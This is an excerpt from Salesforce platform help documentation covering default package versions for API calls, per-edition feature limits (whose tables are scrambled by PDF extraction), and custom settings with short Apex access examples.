Version Settings section of Your Name > Setup > Develop > API. Default package versions for API calls provide fallback
settings if package versions are not provided by an API call. Many API clients do not include package version information,
so the default settings maintain existing behavior for these clients.

See Also:
Which API Should I Use?
Downloading Salesforce WSDLs and Client Authentication Certificates
Configuring Default Package Versions for API Calls
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide

Configuring Default Package Versions for API Calls


Available in: Enterprise, Unlimited, Developer, Editions

User Permissions Needed


To configure default package versions for API calls:

Customize Application

A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API
clients do not include package version information, so the default settings maintain existing behavior for these clients.
You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers
who want to build an integration with their Salesforce organization only. It is strongly typed, which means that calls operate
on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners, and
ISVs who want to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects
or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values instead of specific
data types.

2075

Develop

Salesforce Editions and Limits

You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are
options for setting the package version bindings for an API call from client applications using either the enterprise or partner
WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is
determined by the first match in the following settings.
1. The PackageVersionHeader SOAP header.
2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where
api_version is the version of the API, such as 25.0, and ID encodes your package version selections when the enterprise
WSDL was generated.
3. The default enterprise package version settings.
The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified
option for a package version when configuring the default partner package versions, the behavior is defined by the latest
installed package version. This means that behavior of package components, such as an Apex trigger, could change when a
package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific
version for an installed package for all partner API calls from client applications to ensure that subsequent installations of
package versions do not affect their existing integrations.
The package version information for partner API calls is determined by the first match in the following settings.
1. The PackageVersionHeader SOAP header.
2. An API call from a Visualforce page uses the package versions set for the Visualforce page.
3. The default partner package version settings.
To configure default package versions for API calls:
1. Click Your Name > Setup > Develop > API.
2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are
only available if you have at least one managed package installed in your organization.
3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to
select, you should leave the default selection.
4. Click Save.
Note: Installing a new version of a package in your organization does not affect the current default settings.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Managing Packages
About Package Versions
Documentation Resources for Force.com Developers
Web Services API Developer's Guide

Salesforce Editions and Limits


Use the following tables to determine the maximum number of items supported in each Salesforce Edition.

Salesforce Features and Editions Limits

2076

Develop

Salesforce Editions and Limits

Analytics Limits
Additional Custom Field Limits
Email Limits
Salesforce Knowledge Limits
Rules Limits
Workflow and Approvals Limits

Salesforce Features and Editions Limits


Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Action Plans: Maximum


Number of Tasks

N/A

N/A

N/A

N/A

75

75

Active Lookup Filters

5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object

Active Validation Rules

N/A

75

20 per
object

20 per
object

20 per object 100 per


object

500 per
object

100 per
object

Attachments: Maximum N/A


Size of Attachment in the
Notes & Attachments
Related List1

5 MB for
file
attachments.
2 GB for
feed
attachments.

5 MB for
file
attachments.
2 GB for
feed
attachments.

5 MB for
file
attachments.
2 GB for
feed
attachments.

5 MB for
file
attachments.
2 GB for
feed
attachments.

5 MB for
file
attachments.
2 GB for
feed
attachments.

5 MB for
file
attachments.
2 GB for
feed
attachments.

Categories: Maximum
N/A
Default Number of
Categories and Hierarchy
Levels

N/A

N/A

N/A

100
categories

100
categories

100
categories

Category Groups:
Maximum Default
Number of Category
Groups

N/A

N/A

N/A

N/A

5 category
groups and
3 active
category
groups

5 category
groups and
3 active
category
groups

5 category
groups and
3 active
category
groups

Certificates: Maximum
Number of Certificates

N/A

N/A

N/A

N/A

50

50

50

Content Deliveries:
Default Delivery
Bandwidth per Rolling
24-hour Window

1 GB

1 GB

1 GB

1 GB

1 GB

1 GB

1 GB

Content Deliveries:
Default Delivery View
Counts per Rolling
24-hour Window

20,000

20,000

20,000

20,000

20,000

20,000

20,000

Content Deliveries:
Maximum File Size for
Online Viewing

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

2077

Develop

Feature
Content: Maximum File
Size

Salesforce Editions and Limits

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

For all editions:

2 GB
10 MB for Google Docs
38 MB when uploaded via the API
10 MB when uploaded via Visualforce

Content: Maximum
Number of Libraries

2,000

2,000

2,000

2,000

2,000

2,000

2,000

Content: Maximum
Number of Content
Documents

500,000

500,000

500,000

500,000

500,000

500,000

500,000

Content: Maximum
5,000
Number of Content
Documents and Versions
in a 24hour Period
(Adjustable)

5,000

5,000

5,000

5,000

5,000

5,000

Content Packs: Maximum N/A


Number of Files

50

50

50

50

50

50

Custom Apps

10

Unlimited

10

5 per object 25 per


object

100 per
object

100 per
object

500 per
object

800 per
object

500 per
object

N/A

N/A

N/A

5,000

5,000

5,000

5,000

1,024
characters

1,024
characters

1,024
characters

1,024
characters

1,024
characters

1,024
characters

N/A

(The custom apps


contained in a managed
package in a trial state or
the managed package of a
native application in any
state don't count against
the limits supported for
your Salesforce Edition.)
Custom Fields
(Additional restrictions
apply for activities, long
text area fields,
relationship fields, and
roll-up summary fields.
For more information, see
Additional Custom Field
Limits.)
Custom Labels

Custom Links: Maximum 1,024


Length of Link Label
characters

Custom Links: Maximum 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2
Length of Link URL
Custom Objects

N/A

50

50

200

2,000

400

2078

Develop

Salesforce Editions and Limits

Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

N/A

23

23

23

23

23

(The custom objects


contained in a managed
package in a trial state or
the managed package of a
native application in any
state don't count against
the limits supported for
your Salesforce Edition.)
Note: If youre
approaching your
limit for custom
objects and need
to delete some to
create room for
more, you need to
hard delete or
erase them.
Soft-deleted
custom objects and
their data count
against your limits.
Custom Objects:
Maximum Number of
Master-Detail
Relationships

Custom Objects: Deletion N/A


of Parent Records in a
Many-to-Many
Relationship

23

In a many-to-many relationship, a user cant delete a parent record if more than


200 junction object records are associated with it and if the junction object has a
roll-up summary field that rolls up to the other parent.

Custom Settings: Cached The lesser of N/A


Data Limit
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization

The lesser of N/A


10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization

The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization

The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization

The lesser of
10 MB or 1
MB
multiplied
by the
number of
full-featured
user licenses
in your
organization

Custom Settings:
300
Maximum Number of
Fields Per Custom Setting

N/A

300

N/A

300

300

300

Divisions: Maximum
Number of Divisions

N/A

N/A

100

100

100

N/A

N/A

2079

Develop

Feature

Salesforce Editions and Limits

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Documents: Maximum
20 KB
Size of Custom App Logo

20 KB

20 KB

20 KB

20 KB

20 KB

20 KB

Documents: Maximum
Size of Document to
Upload

5 MB

5 MB

5 MB

5 MB

5 MB

5 MB

Documents: Maximum
255
File Name Size (Including characters
File Extension Name)

255
characters

255
characters

255
characters

255
characters

255
characters

255
characters

Entitlement Processes and N/A


Milestones

N/A

N/A

N/A

For Enterprise, Developer, and


Unlimited Editions, you can have:
20 Entitlement processes
10 Milestones for each entitlement
process

5 MB

Contact salesforce.com for information


on increasing the number of entitlement
processes and milestones.
Events: Maximum
N/A
Number of Invitees and
Resources for
Single-Occurrence Events

1,000

1,000

1,000

1,000

1,000

1,000

Events: Maximum
Number of Invitees and
Resources for Recurring
Events

100

100

100

100

100

100

Field History Tracking: N/A


Maximum Number of
Standard or Custom Fields
Tracked for Standard or
Custom Objects

20

20

20

20

20

20

Files: Maximum File Size 2 GB


in Chatter and on the Files
Tab

2 GB

2 GB

2 GB

2 GB

2 GB

2 GB

Fiscal Years: Maximum


250
Number of Custom Fiscal
Years

250

250

250

250

250

250

Formulas: Maximum
Number of Characters

3,900
characters

3,900
characters

3,900
characters

3,900
characters

3,900
characters

3,900
characters

3,900
characters

Formulas: Maximum
Number of Displayed
Characters After an
Evaluation of a Formula
Expression

1,300
characters

1,300
characters

1,300
characters

1,300
characters

1,300
characters

1,300
characters

1,300
characters

N/A

2080

Develop

Salesforce Editions and Limits

Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Formulas: Maximum
Formula Size (in Bytes)
When Saved

4,000 bytes 4,000 bytes 4,000 bytes 4,000 bytes

4,000 bytes 4,000 bytes 4,000 bytes

Formulas: Maximum
Formula Size (in Bytes)
When Compiled

5,000 bytes 5,000 bytes 5,000 bytes 5,000 bytes

5,000 bytes 5,000 bytes 5,000 bytes

Formulas: Number of
10
Unique Relationships Per
Object

10

10

10

Formulas: VLOOKUP
Functions

10 per
object

10 per
object

Ideas: Maximum Size of N/A


HTML Idea Description

N/A

Ideas: Maximum Size of


HTML Idea Comment

Developer
Edition

10

10

10 per object 10 per


object

10 per
object

10 per
object

N/A

32 KB

32 KB

32 KB

32 KB

N/A

N/A

4 KB

4 KB

4 KB

4 KB

Master-Detail
10,0004
Relationship: Maximum
Number of Child Records

10,0004

10,0004

10,0004

10,0004

10,0004

10,0004

Objects: Maximum
Number of Deleting
Combined Objects and
Child Records

100,000

100,000

100,000

100,000

100,000

100,000

100,000

Permission sets

N/A

N/A

N/A

N/A

1,000

1,000

1,000

Quote PDF: Maximum


Logo Size

N/A

N/A

N/A

5 MB

5 MB

5 MB

5 MB

Quote PDF: Maximum


Logo Height

N/A

N/A

N/A

150 pixels

150 pixels

150 pixels

150 pixels

Recycle Bin: Maximum


Number of Records

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

25 times
your storage
capacity in
MBs

Shared Activities

For all editions:

10 per
object

N/A

10

Unlimited
Edition

Users can relate non-recurring and non-group tasks to up to 10 contacts, one of which users
designate as a primary contact.
Sharing Rules

N/A

N/A

N/A

For Professional, Enterprise, Unlimited, and Developer


Editions, administrators can create up to 300 sharing
rules per object, including up to 50 criteria-based rules.

Static Resources

N/A

A single
A single
A single
A single
A single
A single
static
static
static
static
static
static
resource can resource can resource can resource can resource can resource can
be up to 5
MB in size.

2081

Develop

Feature

Salesforce Editions and Limits

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

be up to 5 be up to 5 be up to 5
be up to 5 be up to 5 An
MB in size. MB in size. MB in size. MB in size. MB in size. organization
can have up
An
An
An
An
An
to 250 MB
organization organization organization organization organization
of static
can have up can have up can have up can have up can have up
resources,
to 250 MB to 250 MB to 250 MB to 250 MB to 250 MB
total.
of static
of static
of static
of static
of static
resources,
resources,
resources,
resources,
resources,
total.
total.
total.
total.
total.
Tabs

N/A

10

25

Unlimited

100

(The custom tabs


contained in a managed
package in a trial state or
the managed package of a
native application in any
state don't count against
the limits supported for
your Salesforce Edition.)
Tags

For all editions, a user is limited to a maximum of:

500 unique personal tags


5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of:

Territories: Maximum
Number of Account
Assignment Rules

1,000 unique public tags


50,000 instances of public tags applied to records
5,000,000 instances of personal and public tags applied to records

N/A

N/A

N/A

N/A

15

15

15

Users: Maximum Number 1


of Users Created

10

Unlimited

Unlimited

Unlimited

Visual Workflow

N/A

N/A

5000
5000
5000
5000
5000
5000
Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free Chatter Free
N/A

N/A

For Enterprise, Developer, and


Unlimited Editions, each flow can have
up to:
50 versions
2000 steps
Each organization can have up to:

500 active flows


1000 flows total

2082

Develop

Salesforce Editions and Limits

Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

The maximum size of an uploaded flow


file is 3 MB.
Web-to-Case: Maximum N/A
Number of New Cases
Generated in a 24hour
Period

N/A

N/A

5,0005

5,0005

5,0005

5,0005

Web-to-Lead: Maximum N/A


Number of New Leads
Generated in a 24hour
Period

N/A

N/A

5005

5005

5005

5005

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and
Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or
event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from
Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
2

When data is substituted for the tokens in the URL, the link may exceed 3,000 bytes. Your browser may enforce additional
limits for the maximum URL length.
3

Each relationship is included in the maximum number of custom fields allowed.

As a best practice, don't exceed 10,000 child records for a master-detail relationship.

If your organization exceeds its daily Web-to-Case or Web-to-Lead limit, the default case owner or default lead creator
receives a notification email containing information about the case or lead. When your organization reaches the 24hour limit,
salesforce.com stores additional requests in a pending request queue that contains both Web-to-Case and Web-to-Lead
requests. The requests are submitted when the limit refreshes. The pending request queue has a limit of 50,000 combined
requests. If your organization reaches the pending request limit, additional requests are rejected and not queued. Your
administrator receives email notifications for the first five rejected submissions. Contact salesforce.com Customer Support to
change your organization's pending request limit.

Analytics Limits
Note: Additional dynamic dashboards, scheduled reports, scheduled dashboards, and scheduled analytic snapshots
may be available for purchase. Contact your salesforce.com representative for information.

Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Field Filters per Report1

20

20

20

20

20

20

20

Formulas per Report

Scheduled Reports

N/A

N/A

N/A

One per
One per
hour2
hour2
(off-peak
hours only3)

Two per
hour2

One per
hour2
(off-peak
hours only3)

(Emailed reports can be up


to 10 MB.)

(Limited to
three

(Limited to
three

2083

Develop

Salesforce Editions and Limits

Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

preferred
start times,
which can't
be changed)

Developer
Edition
preferred
start times,
which can't
be changed)

Dynamic Dashboards

N/A

N/A

N/A

N/A

Up to five
Up to 10 per Up to three
per
organization per
organization
organization

Scheduled Dashboard
Refreshes

N/A

N/A

N/A

N/A

One per
hour2

Two per
hour2

N/A

Custom Report Types

N/A

N/A

50

50

200

2,000

400

N/A

N/A

N/A

One per
One per
hour2
hour2
(off-peak
hours only3)

Two per
hour2

One per
hour2
(off-peak
hours only3)

(Limits apply to all custom


report types regardless of
development status.)
Analytic Snapshots

(Limited to
one
preferred
start time
per day,
which can't
be changed)

These limits apply to the report builder. If youre using the report wizard, the limit is 10.

Up to a possible maximum of 200, total.

Off-peak hours are between 6 PM and 3 AM local time.

(Limited to
one
preferred
start time
per day,
which can't
be changed)

The following analytics limits apply to all supported editions.


Report Limits

The report builder preview shows a maximum of 20 rows for summary and matrix reports, and 50 rows for tabular.
You can't have more than 250 groups or 4,000 values in a chart. If you see an error message saying that your chart
has too many groups or values to plot, adjust the report filters to reduce the number. In combination charts, all groups
and values count against the total.
Reports display a maximum of 2,000 rows. To view all the rows, export the report to Excel or use the printable view
for tabular and summary reports.
Summary and matrix reports display the first 2,000 groupings when Show Details is disabled.
Matrix reports display a maximum of 400,000 summarized values.
Matrix reports display a maximum of 2,000 groupings in the vertical axis when Show Details is disabled. If there
are more than 400,000 summarized values, rows are removed until the 2,000 groupings limit is met, then columns
are removed until the number of summarized values moves below 400,000.

2084

Develop

Salesforce Editions and Limits

By default, reports time out after 10 minutes. Contact salesforce.com to extend the time-out limit to 20 minutes for
tabular, summary, and matrix reports (joined reports will continue to time out after 10 minutes).
In a joined report, each block can have up to 100 columns. A joined report can have up to 5 blocks.
You can add up to 10 custom summary formulas to each block in a joined report. A joined report can have a total of
50 custom summary formulas.
Each joined report can have up to 10 cross-block custom summary formulas.

Dashboard Limits

A dashboard filter can have up to 50 options. By default, 10 options are enabled. Contact salesforce.com to extend
your limit.
Each dashboard can have up to 20 components.
A dashboard table or chart can display up to 20 photos.
You must wait at least one minute between dashboard refreshes.

Report Type Limits

A custom report type can contain up to 60 object references. For example, if you select the maximum limit of four
object relationships for a report type, then you could select fields via lookup from an additional 56 objects. However,
users will receive an error message if they run a report from a custom report type and the report contains columns
from more than 20 different objects.
You can add up to 1000 fields to each custom report type.

Analytic Snapshot Limits

The maximum number of rows you can insert into a custom object is 2,000.
The maximum number of runs you can store is 200.
The maximum number of source report columns you can map to target fields is 100.

Additional Custom Field Limits


The number of custom fields allowed per object varies according to your Salesforce Edition. The maximum number of activities,
long text area fields, rich text area fields, relationship fields, and roll-up summary fields varies as well. The following table
shows the maximum limits for each custom field type and edition.
Custom Field Personal
Limits
Edition
Activities
Long Text
Area Fields
Rich Text
Area Fields
Relationship
Fields

Contact
Manager

Group
Edition

Professional
Edition

No additional No additional No additional 20


limit
limit
limit

Enterprise
Edition

Developer
Edition

Unlimited
Edition

100

100

100

There are no limits to the number of rich text area and long text area fields that an object can contain, although
your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies.
Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The
default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich
text area field needs to contain at least 256 characters.
No additional 25
limit

25

25

25

25

25

2085

Develop

Salesforce Editions and Limits

Custom Field Personal


Limits
Edition
Roll-up
Summary
Fields

Contact
Manager

No additional 10
limit

Group
Edition

Professional
Edition

Enterprise
Edition

Developer
Edition

Unlimited
Edition

10

10

10

10

10

Email Limits
Feature

Personal
Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Email Templates:
Maximum Size

384 KB for
text email

templates

Email to Salesforce

For all editions:


Email body truncation size: 32 KB
Maximum number of email activities created for each email received: 50
Maximum size of a single file attachment: 5 MB
Total maximum size of file attachments: 10 MB

Developer
Edition

384 KB for text, HTML, and custom HTML templates


1 MB for Visualforce templates

Email Services: Maximum N/A


Number of Email
Messages Processed

N/A

N/A

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Email Services: Maximum N/A


Size of Email Message
(Body and Attachments)

N/A

N/A

10 MB1

10 MB1

10 MB1

10 MB1

Email-to-Case: Maximum N/A


Number of Emails
Converted per Day

N/A

N/A

2,500

2,500

2,500

2,500

Extended Mail Merge:


Maximum Number of
Records

1,000

1,000

1,000

1,000

1,000

1,000

1,000

Extended Mail Merge:


Maximum Total Size of
Selected Templates

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

Merge Field:

N/A

N/A

For Group, Professional, Enterprise, Unlimited, and Developer


Editions:
Maximum number of emails: 200
Email body truncation size: 32 KB

On-Demand
N/A
Email-to-Case: Maximum
Email Attachment Size

N/A

N/A

Case.Email_Thread

10 MB

10 MB

10 MB

10 MB

2086

Develop

Salesforce Editions and Limits

Feature

Personal
Edition

On-Demand
N/A
Email-to-Case: Maximum
Number of Email
Messages Processed

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

N/A

N/A

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

(Counts toward limit for


Email Services)

Number of
user licenses
multiplied
by 1,000, up
to a daily
maximum of
1,000,000

The maximum size of email messages for Email Services varies depending on language and character set.

Salesforce Knowledge Limits


Salesforce
Personal
Knowledge Limits Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Article amount

N/A

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions, you can have up to 10,000 articles.

Article types

N/A

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions, you can have up to 100 article
types.

File field

N/A

N/A

N/A

N/A

File fields are counted as Attachments and


can be up to 5 MB

Article import

N/A

N/A

N/A

N/A

N/A

N/A

N/A

Unlimited
Edition

The import .zip file must meet the


following requirements:

Active data category N/A


groups

Developer
Edition

There can only be one .csv file and one


.properties file.
The .csv file and the .properties file must
be in the root directory.
The compression process must preserve
the folder and subfolder structure.
The .zip file cant exceed 10 MB and
the uncompressed files cant exceed 100
MB.
.csv files cant have more than 10,000
rows, including the header row.
.csv file rows cant exceed 400,000
characters.
.csv file cells cant exceed 32 KB.
Each article in the .csv file cant have
more than 49 translations.

For Enterprise, Developer, and Unlimited


Editions you can have up to three active
data category groups.

2087

Develop

Salesforce Editions and Limits

Salesforce
Personal
Knowledge Limits Edition

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

Developer
Edition

Unlimited
Edition

Categories per data N/A


category group

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions you can have up to 100 data
categories per data category group.

Data category group N/A


hierarchy

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions you can have up to five levels in
your data category group hierarchy.

Data categories
N/A
from a data category
group assigned to an
article

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions you can assign up to eight data
categories from one category group to an
article.

Rules Limits
Different types of rules can have restrictions, depending on your Salesforce edition. The following table shows the restrictions
for each edition.
Restrictions

Personal
Edition

Contact
Manager

Group
Edition

Professional
Edition

Enterprise
Edition

Developer
Edition

Unlimited
Edition

Active Rules

N/A

N/A

N/A

50 per object

50 per object

50 per object

50 per object

N/A

N/A

N/A

300 per object 300 per object 300 per object 300 per object

(Limits apply
to any
combination
of active
workflow,
assignment,
auto-response,
and escalation
rules.
Total Rules
Allowed

1,000 per
organization

(Limits apply
to any
combination
of workflow,
assignment,
auto-response,
and escalation
rules, both
active and
inactive.)
Assignment, N/A
Auto-response,
and
Escalation
Rules

N/A

N/A

1,000 per
organization

1,000 per
organization

1,000 per
organization

For Professional, Enterprise, Developer, and Unlimited


Editions, each assignment, auto-response, and escalation rule
can have:
3,000 rule entries
300 formula criteria rule entries

2088

Develop

Restrictions

Salesforce Editions and Limits

Personal
Edition

Contact
Manager

Group
Edition

Professional
Edition

Total Actions N/A


Allowed Per
Rule

N/A

N/A

Enterprise
Edition

Developer
Edition

Unlimited
Edition

25 filter criteria per rule entry

200

200

200

200

Workflow and Approvals Limits


Workflow and
Approvals Limits

Personal
Edition

Approval Processes N/A

Contact
Manager

Group
Edition

Professional Enterprise
Edition
Edition

N/A

N/A

N/A

Developer
Edition

Unlimited
Edition

For Enterprise, Developer, and Unlimited


Editions, each approval process can have up
to:
15 steps per process
25 approvers per step
Each organization can have up to:

500 approval processes per object


1,000 processes per organization

Approval Request N/A


Comments:
Maximum Number
of Characters

N/A

N/A

N/A

Approval request comments are limited to


4,000 characters. In Chinese, Japanese, or
Korean, the limit is 1,333 characters.

Workflow Rules
and Approval
Processes

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited


Editions, each workflow rule and approval
process can have:
10 time triggers
40 immediate actions
40 time-dependent actions per time
trigger

N/A

Note that for both immediate and


time-dependent actions, there can be no
more than:

Workflow Time
N/A
Triggers Per Hour
(For more
information, see
Time-Dependent

N/A

N/A

250

10 email alerts
10 tasks
10 field updates
10 outbound messages

500

50

1,000

(Workflow is
available as
an add-on
feature for

2089

Develop

Custom Settings Overview

Workflow and
Approvals Limits

Personal
Edition

Contact
Manager

Group
Edition

Action and Time


Trigger
Considerations on
page 1786.)
Workflow Emails
Per Day

Professional Enterprise
Edition
Edition

Developer
Edition

Unlimited
Edition

1,000 per
standard
Salesforce
license

1,000 per
standard
Salesforce
license

Professional
Edition.)

N/A

N/A

N/A

N/A

(For more
information, see
Workflow Daily
Email Limit on
page 1793.)

1,000 per
standard
Salesforce
license

2,000,000
2,000,000 per 2,000,000
per
organization per
organization
organization

See Also:
Monitoring Resources
Force.com API Usage Limits
Customer Portal Setup Limits
Salesforce.com Limits Quick Reference

Custom Settings Overview


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.
Packages are not available in Database.com.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you
use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access
to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data

2090

Develop

Custom Settings Overview

include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data
is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or lowest, value. In the hierarchy, settings for an organization are overridden by profile settings, which, in
turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:

A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all
country codes, users have quick access to this data without needing to query the database.
An application calculates and tracks compensation for its sales reps, but commission percentages are based on seniority.
By creating a hierarchy setting, the administrator can associate a different commission percentage for each profile in the
sales organization. Within the application, one formula field can then be used to correctly calculate compensation for all
users; the personalized settings at the profile level inserts the correct commission percentage.
An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful
for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom
checkbox fields for route and traffic, you can enable this data for just the Sales Rep profile.

Follow these steps to create and use custom settings:


1.
2.
3.
4.

Create the custom setting.


Add fields to the custom setting.
Add data and set the access level for the custom setting data.
Reference the custom setting data in your application, using formula fields, validation rules, Apex, or the SOAP API.

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the
Visibility setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they have
installed the package.

Managing Custom Settings


Click New to create a new custom setting. After you create a custom setting, you must add fields to it.
After you create a custom setting, you can do any of the following:

Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting.
Click Del to delete a custom setting.
Note: A icon indicates that the custom setting is in an installed managed package. You cant edit or delete a
custom setting installed from a managed package.

2091

Develop

Custom Settings Overview

Click Manage to add data to a custom setting. You should add fields before you add data.

See Also:
Accessing Custom Settings
Custom Settings Limits
Defining Custom Settings
Viewing Custom Settings

Custom Settings Limits


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

Salesforce imposes these limits on the amount of cached data and on custom settings:

The total amount of cached data allowed for your organization is the lesser of these two values:
10 MB
1 MB multiplied by the number of full-featured user licenses in your organization

For example, if your organization has three full licenses, you have 3 MB of custom setting storage. If your organization
has six full licenses, you have 10 MB of storage.
300 fields per custom setting.
You cant share a custom setting object or record.
No owner is assigned when a custom setting is created, so the owner cant be changed.
Custom settings are a type of custom object. Each custom setting counts against the total number of custom objects available
for your organization. For information about the number of custom objects available based on edition, see Salesforce
Editions and Limits on page 2076.

To see how much custom settings data your organization is using, click Your Name > Setup > Develop > Custom Settings.
This page also details how much resource each custom setting uses, including the number of records and the size of the custom
setting definition.

See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data

2092

Develop

Custom Settings Overview

Accessing Custom Settings


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.
Packages are not available in Database.com.

User Permissions Needed


To manage, create, edit, and delete custom settings:

Customize Application

You can access custom settings from formula fields, validation rules, Apex, and the SOAP API. Some sample code segments
are provided below.
Formula Fields
Formula fields only work for hierarchy custom settings; they cant be used for list custom settings. For more information,
see Creating On-Demand Applications: An Introduction to the Force.com Platform.
{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex
Apex can access both custom setting types.
Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package,
the subscribing organization cannot edit the values or access them using Apex.
For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide.
Samples for List Custom Settings
When you add data to a custom setting, you must name each set of data. Then you can distinguish between the
sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns
values for all custom fields associated with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified
data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Samples for Hierarchy Custom Settings


The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

2093

Develop

Defining Custom Settings

The following example uses the getInstance method to return the data set values for the specified profile. The
getInstance method can also be used with a user Id.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

SOAP API
Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed.
